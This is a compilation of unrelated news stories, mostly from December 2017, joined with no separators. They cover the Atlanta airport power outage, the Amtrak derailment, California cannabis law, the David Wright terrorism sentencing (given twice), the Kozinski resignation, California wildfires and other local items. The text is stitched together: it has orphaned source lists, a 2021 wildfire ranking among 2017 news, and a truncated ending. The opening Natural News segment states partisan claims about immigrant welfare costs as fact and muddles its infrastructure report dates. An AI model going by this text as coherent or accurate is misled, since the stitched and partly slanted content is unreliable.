Sources for this article include:

USRTK.org

NaturalNews.com
(Natural News) Over the weekend the worlds busiest airport suffered a small-scale disaster: Thousands of flights were canceled and tens of thousands of travelers were stranded  in the dark  for more than six hours after a fire shut down power to the Hartsfield-Jackson International Airport in Atlanta.

NBC News reported that while the fire and power outage happened on Sunday, canceled flights stretched into Monday, stranding passengers and ruining their holiday travel plans.

Late in the day on Sunday, however, nearly 1,200 flights had been canceled by airport officials, while another couple hundred were delayed.

I want to express my sincere apologies to the thousands of passengers whose day has been disrupted in this manner, Atlanta Mayor Kasim Reed said during a news conference. We certainly understand that the outage has caused frustration and anger and we are doing everything that we can to get folks back home right away.

As bad as that was, at least no one was killed. But the same could not be said of the Amtrak train derailment near Seattle on Monday, in which cars jumped the tracks and even landed on busy Interstate 5.

Amtrak 501 left Tacoma, Wash., shortly before 8 a.m. local time, as part of a new high-speed rail service that launched the same morning. While the train can carry as many as 250 people, just 78 or so were aboard when the crash occurred, leaving at least six people dead and a major highway blocked for hours.

Passenger Chris Karnes told local media KIRO that tracks for the high-speed service were supposed to have been upgraded, but he wasnt sure that had occurred. CBS News reported that the tracks are not owned by Amtrak but are owned by a freight railroad firm.

That said, both incidents spurred President Donald J. Trump to remind Americans  and Congress  of his campaign pledge to substantially upgrade and improve our infrastructure.

The train accident that just occured [sic] in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly, Trump tweeted shortly after the accident was reported. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long! he tweeted next, also adding that his thoughts and prayers were with all involved in the accident.

While the president might be a tad high in his estimate of the money spent on wars in Iraq and Afghanistan, primarily, other estimates range from $4  $5 trillion, which is still a hefty sum, without question.

Whats more, even the lower figure of $4 trillion is about what one civil engineering association says is needed to repair, replace and upgrade everything from airports and train tracks to roads, bridges, highways, and the nations power grid. (Related: Why you can no longer put off prepping for hacks and takedowns of ALL U.S. infrastructure.)

So far, anyway, Trump has only proposed to spend a quarter of that  $1 trillion  to fix the countrys aging infrastructure, though clearly, that is a good start.

In its annual report card for 2015, the American Society of Civil Engineers gave the nations infrastructure a D+ overall.

The grades in 2013 ranged from a high of B- for solid waste to a low of D- for inland waterways and levees, the society wrote in its 2013 report. And while there have been some improvements in some areas, overall the infrastructure remains quite the mess.

In addition to funding for wars that never seem to end, taxpayers have also spent hundreds of billions to care for illegal aliens and their chain migration families. The White House said that passing out welfare and other benefits to extended family members of legal immigrants cost Americans $300 billion a year because most come with no skills and require public assistance and welfare to sustain themselves.

Foreign aid is also expensive, amounting to around $49 billion per year.

J.D. Heyes is also editor-in-chief of The National Sentinel.

Sources include:

MoneyCNN.com

TheNationalSentinel.com

CBSNews.com
California's new recreational cannabis law is doing more than legalizing marijuana sales going forward. It's also allowing thousands with past pot convictions to clear their criminal records.

A little known provision in Proposition 64 allows people convicted of almost any marijuana crime to have it removed or reduced. According to the California Judicial Council, more than 4,000 people have already filed petitions.

The law takes effect Jan. 1.

For those with pot convictions, all they need to do is reach out to the court that processed their case.

"In some jurisdictions, you can apply to the district attorney's office, and they will help you do it," said Leslie Jacobs, a professor at McGeorge School of Law. "So that's what they should do is some internet research or visit the district attorney's office and say I think Im eligible."

Many of the marijuana convictions in California came during the so-called war on drugs period, which critics say disproportionately impacted minority communities.
A man who shot and killed himself Monday afternoon after Richmond police stopped him was an off-duty San Francisco police officer, according to a spokesman for SFPD.

At about 1:30 p.m., a Richmond police officer conducted a traffic stop in the Hilltop mall parking lot near J.C. Penney, spokesman Lt. Felix Tan said.

After stopping the vehicle, the officer heard a gunshot and went back to his patrol vehicle to ask for help.

Tan said officers weren't sure what happened because the windows of the suspect's vehicle were heavily tinted. Officers used beanbag rounds to break the windows of the vehicle and found the man dead inside.

SFPD spokeswoman Officer Grace Gatpandan confirmed late Monday night the deceased officer, who was later identified as 49-year-old Antonio Cacatian, was a nine-year veteran of the department.

San Francisco police spokeswoman Giselle Linane says Cacatian was the subject of a criminal investigation involving multiple law enforcement agencies. Linane declined to discuss the investigation further.

The police chief and command staff expressed their condolences to the officer's family Monday, she said.

Tan said Richmond police and the Contra Costa County District Attorney's Office each have opened investigations into the death.

The Associated Press contributed to this report.
A group of residents in Walnut Creek is fighting to prevent a nonprofit that serves the homeless from moving into their neighborhood.

The city's planning commission has already given the Trinity Center permission to move into a strip mall located at California Boulevard and Botelho Drive, but apartment residents who live next door are appealing the commission's decision. The city council will now take up the issue Tuesday evening.

Trinity Center, which provides food and services for the homeless, senior citizens or people on the brink of ending up on the street, wants to move into the new location for roughly 18 months while its current location is demolished and rebuilt. Some residents worry that the move will result in homeless people loitering in their neighborhood.

The executive director with the Trinity Center said the nonprofit only serves 19 homeless people  an amount that was at 77 people a few years ago. The official also said her lease with the strip mall would require the organization to abide by certain rules and regulations that would protect the neighborhood.

The discussion about the appeal is open to the public and is slated to take place at 6 p.m. at Walnut Creek City Council.
An estimated 258 million people have left their birth countries and are now living in other nations  an increase of 49 percent since 2000, says a U.N. report on international migration released Monday.

The biennial report released on International Migrants Day said the percentage of the world's people who are international migrants has increased modestly from 2.8 percent in 2000 to 3.4 percent this year.

But the report from the U.N. Department of Economic and Social Affairs said the percentage living in high-income countries rose from 9.6 percent in 2000 to 14 percent in 2017.

"Reliable data and evidence are critical to combat misperceptions about migration and to inform migration policies," said Undersecretary-General for Economic and Social Affairs Liu Zhenmin.

In September 2016, all 193 U.N. member states, including the United States under President Barack Obama, adopted the New York Declaration for Refugees and Migrants. It said no one country can manage international migration on its own.

The countries agreed to implement well-managed migration policies and committed to sharing more equitably the burden of hosting refugees. They also agreed to protect the human rights of migrants and to counter xenophobia and intolerance toward migrants.

They further agreed to launch a process leading to the adoption of a global compact in 2018.

Liu said the new estimates "will provide an important baseline for member states as they begin negotiations on the Global Compact."

One important country will not be taking part. In early December, the United States said it was ending its participation in negotiations on the compact.

U.S. Ambassador Nikki Haley said the declaration "is simply not compatible with U.S. sovereignty." A statement from the U.S. Mission said numerous provisions were "inconsistent with U.S. immigration and refugee policies" under President Donald Trump.

The U.N. report said that in 2017, high-income countries hosted 64 percent of the international migrants worldwide, or nearly 165 million people.

This year, two-thirds of migrants were living in just 20 countries, the report said. The largest number  49.8 million, or 19 percent of the global total  live in the United States. Saudi Arabia, Germany and Russia are hosting the second, third and fourth largest amounts, at around 12 million, while the United Kingdom is fifth with nearly 9 million, the report said.

It said migrants have contributed to population growth in North America and Oceania, and without migrants, the population of Europe would have declined from 2000 to 2015.
One of two Salvation Army red kettles stolen from a downtown Chicago location last week has been found, but empty, the organization said Tuesday.

The stolen red kettle was found at Northwestern Medical Group, not far from the Michigan Avenue location it was taken.

The Salvation Army said the kettle was empty when it was found, but the organization is happy to have the equipment back. A second stolen kettle remains missing.

Twice last week, police said they received reports of a bucket stolen from the 700 block of North Michigan Avenue, just outside a Neiman Marcus store.

The Salvation Army Metropolitan Division said both thefts were caught on tape and surveillance video was given to police as they investigate.

The theft will cost Chicago's Temple Community Corps nearly $1,000 "in replacing the equipment and loss of donations," Shanna Schwarze with the Salvation Army Metropolitan Division said in a statement.

Both incidents took place while a bell ringer took a bathroom break inside Neiman Marcus. The first incident happened Tuesday just before 4 p.m. and the second incident happened Friday at about the same time.

In the first theft, the bucket was stolen. In the second, both the bucket and its stand were taken.

Bell ringer Antionette Levi-Bell said it's not a good feeling.

"You come out and see your bucket is gone and you know it's to help people and stuff and someone came up and took it," she said. "I cried for a minute."

Major Barbara Owen, a spokeswoman for the Salvation Army, noted how cumbersome the kettles are to steal.

"It's not very easy to just pick it up and run with it," she said, also noting the money was meant for people who have fallen on hard times. "Christmas meals, Christmas toys. It goes to pay for people who may be being evicted, utilities shut off."

Merriah Guccione was donating to the Salvation Army on Michigan Avenue Monday.

"It really hurts me to see something like that," she said of the recent thefts. "We're all trying to help and everyone is struggling."

Anyone looking to donate can donate directly to the bucket at 737 Michigan Ave. or visit Salarmychicago.org.
An elderly man and woman visiting Wisconsin from the Chicago area were killed in a crash with an drunk driver over the weekend, according to Outagamie County Sheriff officials.

Just a week before Christmas two families in La Grange whove known each other since the 1960s are now in mourning.

Diane Urban learned hours ago that her dad David Rosol wouldn't be coming home.

He was 82, yeah, he lived a good life but he had longevity in his family, she said. He always taught the value of things and that you should earn your way.

Her dad and longtime friend Hazel Dewitt drove up to see family in the Green Bay area.

Dewitts daughter, Jennifer Spielman, said her mom took care of everyone in the neighborhood.

He had taken ill the last few years with Parkinson's and she kind of was his caregiver, she said. Love your parents forever and ever because you never know when something like this will happen.

Urban wants her loss to serve as a warning to others and pleads for those who chose to drink not to get behind the wheel.

Take an Uber, a taxi, have a designated driver because, he shouldve lived longer, Urban said.

The other driver, Joseph Konetzke of Neenah, Wisconsin survived the crash.

According to court records  this is his fourth drunk driving arrest.

He hadnt been charged yet for his most recent DUI arrest on Dec. 2.
It was standing room only as teachers, students and parents filled a Town Council meeting in Stratford on Monday night.

The crowd hoped councilors would spare schools any cuts.

"Its scary because some of the teachers Ive gotten close to," Candice Ryder, a tenth grade student, said.

So many people filled the room that the meeting had to be moved to the high school.The layoffs come as the town grapples with losing nearly $3 million in state aid.

"We need to get this figured out because the track were going to take is the wrong track to take," Katie Harrington, a sixth grade teacher, said.

Councilors explained they found about $2 million to slash from the town governments budget. But the councils vote on Monday will also require a slice of around $700,000 from school funds.

Many fear that could lead to about 40 staff members being let go.

"Right now Im standing at serious risk of having my position change or lost mid-year," Ryan Harrington, a seventh grade teacher, said.

Another idea tossed around to save money was to require teachers to take two furlough days. But their union said it shot down that option, calling it too disruptive to students.

Now town leaders said its time for others to make tough choices.

"It is my hope that the union and the board of education and the superintendent will be able work this out and negotiate it," Stratford Mayor Laura Hoydick said.

The union said the fight continues with the school board expected to meet next month.

NBC Connecticut reached out to the superintendent for comment.
By Samuel Ssebuliba.

In neighboring Kenya, the Attorney-General Githu Muigai has warned NASA leader Raila Odinga that he faces the death penalty should he be sworn in as peoples president.

He says Odingas planned inauguration is illegal as Kenya already has a sitting president so such a move tantamounts to treason, whose penalty is death.

Muigai says if he goes ahead with his plans government institutions will respond appropriately at the right time.

Raila Odinga on Sunday announced fresh plans for his swearing in ceremony after suspending similar plans on December 12.
Several residents in Bethany evacuated after a propane tank truck rolled over on Monday afternoon.

Route 42/Burton Road and Route 63 in Bethany and Beacon Falls were closed following the rollover that happened near Beacon Road but have since reopened.

Connecticut State Police said the crash happened when the driver came around a curve and lost control of the vehicle, veering to the right and striking a guardrail.



The fire chief said the truck went into a nearby building but there was no leak.

Police said the residents nearby were evacuated as a precaution and were let back into their home a few hours later.

The driver suffered minor injuries and refused treatment on scene. He was issued a citation for failure to drive properly.
A man convicted of leading an Islamic State-inspired plot to behead a conservative blogger who upset Muslims when she organized a Prophet Muhammad cartoon contest in Garland was sentenced Tuesday to 28 years in prison.

David Wright, who's 28 years old, was sentenced by a judge in Boston's federal courthouse two months after jurors found him guilty of conspiring with his uncle and a Rhode Island man to kill blogger Pamela Geller on behalf of the terror group.

Wright's attorneys had asked for a 16-year sentence, saying he should be given the chance to redeem himself after serving his time. Wright insisted he never really wanted to hurt anyone but pretended to support the Islamic State group to get attention online.

Prosecutors and Geller wanted Wright to get life in prison. Prosecutors portrayed Wright as the leader of the conspiracy to kill Geller, who has spearheaded scores of events across the nation to decry Islamic extremism, such as the cartoon contest in Garland.

The plot to behead Geller, of New York, was never carried out. Instead, Wright's uncle Ussamah Rahim told Wright on a recorded phone call that he decided to go after "those boys in blue," referring to police. Wright told his uncle that was "beautiful" and encouraged him to delete all the data from his computer before carrying out his attack.

Hours later, Rahim was fatally shot by authorities after he lunged at them with a knife when they approached him in Boston.

Prosecutors said Wright collected dozens of gruesome Islamic State videos and documents that encouraged violence against Americans, including a manifesto that said America's days are "numbered." In court documents, they accused him of trying to "deceive" the court into believing that he never meant any harm.

Wright, who was more than 500 pounds when he was arrested, testified during the trial that he started sharing Islamic State propaganda because he was desperate for attention and an escape. But he said the plan to kill Geller was just "trash talk" and claimed he never believed his uncle was serious about attacking police.

The third man charged, Nicholas Rovinski, of Warwick, Rhode Island, pleaded guilty last year to conspiracy, testified against Wright and is scheduled to be sentenced Wednesday. Prosecutors are seeking 15 years behind bars.

The cartoon contest Geller organized in 2015 ended in gunfire, with two Muslim gunmen shot to death by police.

Geller, who spoke at Wright's sentencing, urged the judge to sentence him to life in prison, saying it was "impossible to overstate the devastation" he had brought to her life. She said she had been forced to live in fear and spend tens of thousands of dollars on security.

"There is no assurance that anyone can give me that he would not resume his quest to kill me and my relatives," she said.
For Bob and Ruth Kretschmer, life without each other wasnt an option.

The elderly couple from a Chicago suburb celebrated their 71st wedding anniversary last week, and five days later, they died peacefully in their Medinah home just minutes apart.

The pair, ages 92 and 90, passed away within 15 minutes of each other  an act family members said was meant to be.

Bob Kretschmer, a World War II veteran with two Purple Hearts, had always been a fighter  and he fought until his very last breath, holding on during a battle with cancer to stay with his wife until her time came too.

"They both wanted to die in this house and if my father went first, that wasn't going to happen for my mother," the couples daughter Roberta "Bobbi" Boston told the Daily Herald. "He hung in there for her. After she passed away, he asked why everyone was crying, then he passed away.

Ruth Kretschmer, a former Republican politician who served as a DuPage County Board Member and the chair of its zoning committee along with 20 years on the Illinois Commerce Commission, had been in hospice for two years and was reportedly diagnosed with Alzheimers disease, according to family members.

Bob Kretschmer was diagnosed with cancer earlier this year.

Also a carpenter, Bob Kretschmer built several houses in his lifetime, including the one he and Ruth raised their family in. It was in that home the couple said they wanted to leave together.

On Friday morning, in that very home, Ruth Kretschmer stopped breathing.

Minutes later, Boston told the Sun-Times a caregiver was holding Bob Kretschmers hand while crying when he asked her what wrong.

She said, 'Ruths gone,' and his hand went limp, Boston told the publication.

The pair were described in their obituary as truly an adventurous and active couple, who enjoyed roller skating and traveling around the world.

A visitation was held for the couple Sunday, and services were set for Monday.

They are survived by their children, Ruthann Koenig, Roberta "Bobbi" Boston and R. David Kretschmer along with their eight grandchildren and 11 great-grandchildren.
A school resource officer was captured on video using a stun gun on a female student involved in a fight outside a Florida middle school.

According to the Pinellas Park police, a fight broke out Thursday between two girls in the bus circle at Morgan Fitzgerald Middle School in Pinellas Park, near Tampa.

The officer, who was not identified, tried to break up the fight, but one of the students refused orders to stop, police said, according to NBC affiliate WFLA.

Cellphone video recorded by a bystander shows the students yelling "get off of me" as she appears to try to escape from the officer's grip.

The officer is then heard yelling "get on the ground" before firing his Taser. The student can be heard screaming as she falls on the sidewalk and other students look on.

"She also threatened the officer himself, to strike him, if he didnt let her go. So [he] ended up, after giving her multiple commands, ended up deploying a Taser against her, Sgt. Michael Lynch of the Pinellas Park Police Department told WFLA.

The student was treated for injuries sustained during the fight and released to her mother, the Tampa Bay Times reported.

Officials did not identify the student and said the state attorney's office will determine what charges she could face. The school resource officer is working with the school to decide what disciplinary action or charges the other female student involved in the fight could face, police said.
In just a few days, the monster Camp Fire in Northern California tore through a Butte County community to become the state's most destructive wildfire on record.

Its staggering rate of destruction places it atop a list of historic wildfires in California, where four of the state's 20 most-destructive wildfires started in the August 2020. They are the Creek, CZU Lightning Complex, North Complex and LNU Complex fires.

Below, a look at the most damaging wildfires on record in the state.

The figures, obtained from CAL FIRE, are based on the number of structures  homes, barns, garages, sheds, commercial properties and other buildings  that were destroyed.

1. Camp Fire, November 2018

The Camp Fire burned through Northern California's Butte County with stunning speed, burning through the town of Paradise. Cal Fire reported more than 18,800 structures destroyed. Eighty-five deaths were linked to the fire, which was sparked by powerlines.

2. Tubbs Fire, October 2017

The Tubbs fire was the most destructive of a complex of wildfires known as the October Fire Siege in California's Wine Country. The fire, fanned by unrelenting winds in Sonoma and Napa counties, destroyed 5,643 buildings and resulted in 21 deaths, according to CAL FIRE. The fire started in the Calistoga area on the night of Oct. 8, spreading at a stunning rate and burning through entire neighborhoods, forcing some residents to run from their homes in search of shelter. The official cause remains under investigation.

3. Oakland Hills Fire, October 1991

Also called the Tunnel fire, the firestorm scorched hillsides in northern Oakland and southeastern Berkeley during an October weekend. Responsible for 25 deaths, the fire rekindled from an earlier grass fire and burned only 1,600 acres  not large when compared to other wildfires on the list. But it was located in a densely populated area with houses and other buildings in its path and ended up destroying 2,900 structures. Fanned by powerful wind gusts, the flare-up grew into a wall of fire that left some residents trapped in an inferno.

4. Cedar Fire, October 2003

The catastrophic San Diego County Cedar fire is one of the largest in California history. The 273,000-acre firestorm wiped out 2,820 structures and resulted in 15 deaths. The fire was started by a lost hunter who started a signal fire in Cleveland National Forest near Julian. It grew into a burning monster that stormed through wilderness areas and rural communities.

5. North Complex Fire, August 2020

A group of fires in Butte, Plumas and Yuba counties that started in August 2020 combined to become the North Complex Fire, resulting in 15 deaths. The fires burned 318,935 acres and 2,352 buildings. The cause of the fires is under investigation, according to CAL FIRE.

6. Valley Fire, September 2015

The 76,000-acre fire burned nearly 2,000 structures in Lake, Napa and Sonoma counties. In just about 24 hours, strong wind gusts pushed the fire to about 50,000 acres after it was started by a faulty electrical connection that caused nearby dry grass to ignite. Four residents were killed.

7. Witch Fire, October 2007

Damaged power lines caused arcing that set off another monstrous fire in San Diego County. The 197,990-acre Witch fire destroyed 1,650 structures. It burned during an onslaught of large wildfires in Southern California that scorched hundreds of thousands of acres in October 2007.

8. Woolsey Fire

The Woolsey Fire started in November 2018 in Ventura County and burned south to the Los Angeles County coast with astounding speed and destroyed 1,643 structures. Mass evacuations included the city of Malibu as the fire burned nearly 97,000 acres, and three deaths were reported. The cause remains under investigation.

9. Carr Fire, July 2018

The deadly Carr fire burned more than 229,600 acres in Shasta and Trinity counties as firefighters, mourning two colleagues killed in the firefight, continue to work through sweltering weather. At least 1,614 structures, including about 1,018 residences, were destroyed and eight deaths are linked to the fire. It is the only fire on this list to have burned in July. It is believed that have started due to a mechanical failure involving a vehicle, which sparked nearby brush.

10. Glass Fire, Sept. 2020

Fires in Napa and Sonoma counties spread to cover 67,484 acres and eventually burned about 1,520 buildings. Despite 70 mph wind gusts that fanned the flames, there were no deaths, but the cause of the fire is still under investigation according to CAL FIRE.

11. LNU Lightning Complex, August 2020

Burning Lake, Napa, Sonoma, Yolo and Solano counties, a group of lightning-sparked fires burned 363,220 acres and 1,491 buildings. Six deaths were reported.

12. CZU Lightning Complex, August 2020

Another group of lightning-sparked fires burned in Santa Cruz and San Mateo counties. The CZU Complex burned 86,509 acres and destroyed 1,490 buildings. One death was reported.

13. Nuns Fire, October 2017

Part of a deadly complex of fires called the October Fire Siege, the Nuns fire began Oct. 8 and burned through at least 54,000 acres in Sonoma and Napa counties. At least 1,350 structures were destroyed. The official cause remains under investigation.

14. Dixie Fire, July 2021 (still active)

As of Aug. 20, the Dixie Fire in Northern California burned more than 700,000 acres and destroyed more than 1,200 structures. The fire has burned for more than a month in Butte, Plumas, Lassen and Tehama counties. Ongoing damage surveys have counted more than 1,200 buildings destroyed, including 630 homes, and more than 16,000 structures remained threatened. Numerous evacuation orders are in effect.

Investigations are continuing, but PG&E notified utility regulators that it might have been caused by trees falling into its power lines. The Dixie Fire began near the town of Paradise, devastated by the 2018 Camp Fire ignited by PG&E equipment during strong winds.

15. Thomas Fire, December 2017

The fire broke out Dec. 4, 2017 in Ventura County and, fanned by Santa Ana wind gusts, grew into one of the largest fires on record in California. The fire destroyed 1,063 structures, including homes in Ventura and Santa Barbara counties. Two deaths, including a 32-year-old firefighter, were reported. In January 2018, the city of Ventura sued Southern California Edison, alleging powerlines sparked the fire  a cause that CAL FIRE now also cites.
A prominent U.S. appeals court judge announced his retirement Monday days after women alleged he subjected them to inappropriate sexual conduct or comments.

Judge Alex Kozinski of the 9th U.S. Circuit Court of Appeals said in a statement that a battle over the accusations would not be good for the judiciary. He said he'll step down, effective immediately.

The Washington Post reported last week that at least 15 women made allegations against Kozinski that go back decades. The allegations include inappropriate touching and lewd comments.

Kozinski said while speaking in a "candid way" with male and female law clerks, "I may not have been mindful enough of the special challenges and pressures that women face in the workplace," the statement said. "It grieves me to learn that I caused any of my clerks to feel uncomfortable; this was never my intent. For this I sincerely apologize."

Emily Murphy, an associate professor at the University of California, Hastings in San Francisco, said she is coming forward now because people are starting to listen. She also hopes to bring about change for her students.

"I have a young daughter and have to look ahead to the world she will enter," Murphy said. "And want to be able to tell her that I said something when I thought something needed to be said."

Murphy in an interview with NBC Bay Area said Kozinski suggested she exercise naked at the office gym and made the comments in front of law clerks at a social gathering. Murphy said she did not clerk for Kozinski, but met him at other events.

Leah Litman, a law professor at the University of California, Irvine, told the Post that the judge talked about having just had sex and pinched her side and leg at a restaurant the night before they appeared together on a panel at her school in July.

Christine Miller, a retired U.S. Court of Federal Claims judge, said Kozinski grabbed her breasts during a car ride in 1986 after a legal community function in the Baltimore area. She said it came after she declined his offer to go to a motel and have sex.

A lawyer who was not identified said Kozinski approached her when she was alone at a legal event in Los Angeles in 2008 and kissed her on the lips and gave her a bear hug with no warning.

The newspaper said the woman's husband confirmed the incident and said the couple didn't think they could do anything because of the judge's position.

The Post reported last week that six former clerks or more junior staff members accused Kozinski of inappropriate behavior, including showing them pornography.

Kozinski, 67, was chief judge of the 9th Circuit, the largest federal appeals court circuit in the country, from 2007 to 2014. He is known for his irreverent opinions, and his clerks often win prestigious clerkships at the U.S. Supreme Court.

The 9th Circuit has opened a misconduct inquiry that was transferred Friday to the Judicial Council of the 2nd U.S. Circuit Court of Appeals in New York.

NBC Bay Area's Anser Hassan contributed to this report.
California is set to make a lot of money through taxes on legalized pot, but some people in Los Angles County will be able to dodge those taxes.

Starting Jan. 1, the state is set to impose a 15 percent excise tax in addition to a 10 percent sales tax. However, people with active prescriptions to use medical marijuana can apply for an identification card with the county, which would allow them to avoid the sales tax.

"To save 10 percent every time I spend anything? That's great," said Jason Waszak, who was shopping for marijuana at the Buds & Roses dispensary in Studio City.

The process to apply for one of the ID cards is an involved one.

The Los Angeles Department of Public Health requires that people apply annually and in person. It also costs $100 for the application fee.

Anyone looking to skirt the system, however, should be warned: the county says that it will verify your doctor's license with the state medical board.

Aaron Justis, president of Buds & Roses, said the industry is in for a new era of regulation, especially since the drug is also supposed to be safer for consumers.

"They're gonna see a well-regulated marketplace like they've never seen before," he said.

For dispensaries like his, the coming weeks will be a litmus test of just how big the booming buds business will be.
What to Know The fire has burned 272,000 acres in its path.

Fire crews have contained the blaze by 55 percent.

Two people have died as a result of the inferno.

The Thomas Fire is on track to becoming the largest wildfire in California history as the blaze had burned 272,000 acres by Tuesday evening, according to Cal Fire.

Experts previously stated that the fire is expected to be contained by Jan. 7, but newly decreased winds could give firefighters the advantage to gain ground on the blaze. As of Tuesday evening, the deadly fire was 55 percent contained.

The wildfire, which began Dec. 4 in Ventura County, is closing in on the October 2003 Cedar fire (273,246 acres) on the list of California's largest blazes. It is the seventh-most destructive wildfire on record in California, having burned at least 1,300 structures.

Crews used the respite from the wind to remove dry brush on the northern flank of the fire. That brush would have provided fuel for the fire.

"We're going to take a lot of that fuel out of there," fire Capt. Rick Crawford said. "That way when the winds come back there'll be nothing left to burn."

Winds are expected to pick up again Wednesday.

Over 8,500 firefighters continue to battle the blaze as 18,000 structures are still threatened. The costs associated with fighting the inferno are nearly $136 million. As of now, the Thomas Fire is the second-largest wildfire in the history of California.

Two people have died as a result of the inferno.

Cory Iverson, 32, was killed as he battled the blaze with a San Diego Cal Fire strike team. The father and husband died Thursday, Dec. 14 after he suffered from thermal injuries and smoke inhalation.

Virginia Pesola, 70, was found dead at the site of a crash near an evacuation route. She was killed by smoke inhalation, blunt force injuries.

Mandatory evacuations remain in place for thousands of Ventura and Santa Barbara county residents. Click here for evacuation updates in Santa Barbara County. Click here for evacuation updates in Ventura County.

High fire risk is expected to last into January, adding to fears that months of deadly and destructive wildfire danger will extend into early next year. Cal Fire reported 6,982 fires in California from Jan. 1 to Dec. 17, including the devastating North Bay fires in October. Those fires scorched more than 505,900 acres, more than double last years burned acreage count. During that same period in 2016, the state firefighting agency reported 4,759 fires that burned 244,304 acres.

California's five-year average for wildfires during that time frame is 4,787 and 202,737 acres burned.

The significant increase in the numbers and size of fires is largely because the state is coming off one of its wettest winters in years in 2016-2017, which left hillsides covered in grass and other vegetation. That grass dried out in summer and turned into tinder, providing fuel for rapidly spreading fires often pushed by strong winds that can carry hot embers for miles and turn small spot fires into infernos.

An increase in the number of dead and dying trees also has exacerbated the wildfire threat, Cal Fire officials said. An estimated 102 million trees have died in California due to the state's five-year dry spell and bark beetle infestation.
A man convicted of leading an ISIS-inspired plot to behead a conservative blogger who upset Muslims when she organized a Prophet Muhammad cartoon contest was sentenced on Tuesday to 28 years in prison.

David Wright sobbed as he apologized to blogger Pamela Geller, law enforcement and his family and denounced the terror group, whose horrific acts he used to celebrate online.

"Nothing I can say can fix the hurt I caused," the 28-year-old Wright said. "I sincerely hope that I can be given the opportunity to help others avoid the mistakes I made."

Wright was convicted in October of conspiracy to provide material support to the ISIS, conspiracy to commit acts of terrorism transcending national boundaries and other crimes. He said in court that he just wanted attention online.

Prosecutors had sought a life sentence for Wright, arguing it would send a strong message to others considering terror attacks in the U.S. But Judge William G. Young said he was uncomfortable with sending Wright away for life, telling him: "You are not a monster, yet you embraced a monstrous evil."

Prosecutors portrayed Wright, who's from Everett, just north of Boston, as the ringleader of the conspiracy to kill Geller, who has spearheaded scores of events across the nation to decry Islamic extremism. The cartoon contest Geller organized in Garland, Texas, in 2015 ended in gunfire, with two Muslim gunmen shot to death by police.

The plot to behead Geller, of New York, was never carried out. Instead, Wright's uncle Ussamah Rahim told Wright on a recorded phone call that he decided to go after "those boys in blue," referring to police. Wright told his uncle that was "beautiful" and encouraged him to delete all the data from his computer before carrying out his attack.

Hours later, Rahim was fatally shot by authorities after he lunged at them with a knife when they approached him in Boston.

Geller, who spoke at Wright's sentencing, urged the judge to sentence him to life and said it was "impossible to overstate the devastation" he had brought to her life. Geller said she had been forced to live in fear and spend tens of thousands of dollars on security.

"There is no assurance that anyone can give me that he would not resume his quest to kill me and my relatives," she said.

Wright's attorneys had asked for a 16-year sentence, saying he should be given the chance to redeem himself after serving his time. Wright insisted he never really wanted to hurt anyone but pretended to support the ISIS to get attention online.

Geller told the judge at sentencing Wright should serve life behind bars.

No, not satisfied with the sentence, but he will be in jail for the rest of my natural life so thats good," she said.

Prosecutors said Wright collected dozens of gruesome ISIS videos and documents that encouraged violence against Americans, including a manifesto that said America's days are "numbered." In court documents, they accused him of trying to "deceive" the court into believing that he never meant any harm.

"His actions gravely threatened the lives of innocent Americans," Assistant U.S. Attorney Stephanie Siegmann said.

Wright, who weighed more than 500 pounds when he was arrested, testified during the trial that he started sharing ISIS propaganda because he was desperate for attention and an escape. But he said the plan to kill Geller was just "trash talk" and claimed he never believed his uncle was serious about attacking police.

The third man charged, Nicholas Rovinski, of Warwick, Rhode Island, pleaded guilty last year to conspiracy, testified against Wright and is scheduled to be sentenced on Wednesday. Prosecutors and Rovinski's defense attorney have asked the judge to sentence him to 15 years in prison.
Its always fun to expose a hidden gem, like that great neighborhood restaurant or the boutique your friends dont know about. Consider putting Parkway Middle School of the Arts in that category.

Its a hidden treasure, said the schools principal, Bradford Mattair, in full agreement with our assessment.

The school sits in the heart of Broward County, but its in a quiet residential neighborhood, a bit off the beaten path. The performing arts community, however, knows all about Parkway Middle. Its got the only middle school performing arts magnet in the county, and its been attracting talented kids for three decades.

Thirty years of turning out stars, like Black Violin, like Jason Derulo, people who went here to Parkway and are now pursuing their dreams as artists, said the schools artistic director, Michelle Terl.

These days, Parkways choir is so stellar, theyre the only middle school choir in Florida to be invited to perform at Lincoln Center in New York. The event is in March, and is part of Manhattan Concert Productions.

Meanwhile, the schools drama troupe won the Florida State Jr. Thespian Festivals Mainstage contest, and will soon perform Guys and Dolls in an international theatre festival in Orlando. Its another feather in the Parkways artsy cap.

These kids are dreamers and theyre putting their dreams in front of them and projecting their dreams out to an audience and the audience has the opportunity to see these children, theyre striving to be the best at whatever they do, Mattair said.

If theyre striving to be the best computer coder, theyre in the right place, too. In addition to performing arts, Parkway is a STEM magnet school. It includes classes in website design, robotics, drone flight, and more.

Many of the students are also in the schools unique Center for Intellectually Talented Youth. The CITY program keeps gifted students together from third grade through eighth, doing extra enrichment.

Socratic seminars, speech and debate, chess, said Mattair, listing some of the enrichment activities. Mathematics competitions, drone competitions, engineering, robotic competitions.

The STEM magnet kids can take aeronautics, in which they learn to fly planes on actual flight simulators.

All of these activities and classes build up the whole child, as Mattair says, and Terl agrees.

Its really quite amazing to watch these young kids, they come to us, theyre 10 years old when they sign up and by the time they leave theyre 14, and they have confidence, and theyre going out there to pursue their dreams, Terl said.

One of those dreams is to sing in that New York City event, but to get there, the kids need to raise $85,000. You can help by going to www.parkwayplayers.com, which has a link to their GoFundMe page.ter
By Ruth Anderah:

The 8 Red Pepper directors and senior journalists have been granted bail by the Buganda Road Court.

The ruling has been delivered by Buganda Road Grade One magistrate Samuel Kagoda who ordered them to execute a non-cash bond of 20 million shillings each.

They are accused of offending and endangering national security.

The accused are expected to return to court on January 19th 2018 for further hearing of the case.

The prosecutor from the Uganda Communications Commission (UCC) Abdul-Salam Waiswa had earlier asked court not to release the suspects on bail for fear of repetitive offending and endangering national security.

However, the magistrate indicated that this would not be possible since the Red Pepper premises remain cordoned off as a crime scene.
The Medical Examiner says a woman died due to a fat embolism after undergoing a Brazilian Butt Lift procedure at a Miami-Dade plastic surgery clinic last week.

The patient, 40-year-old Kizzy London, traveled from her home in Louisiana to Miami to undergo the procedure last Thursday. Londons sister said she found Jolie Plastic Surgery online and chose the clinic due to its affordable prices.

The mother of three went into cardiac arrest toward the end of her procedure, according to a clinic spokesperson. Miami-Dade Fire Rescue responded and rushed her to Kendall Regional Medical Center, where she later died.

A fat embolism occurs when a piece of fat gets into the blood stream, travels to the lungs and causes a patient to stop breathing.

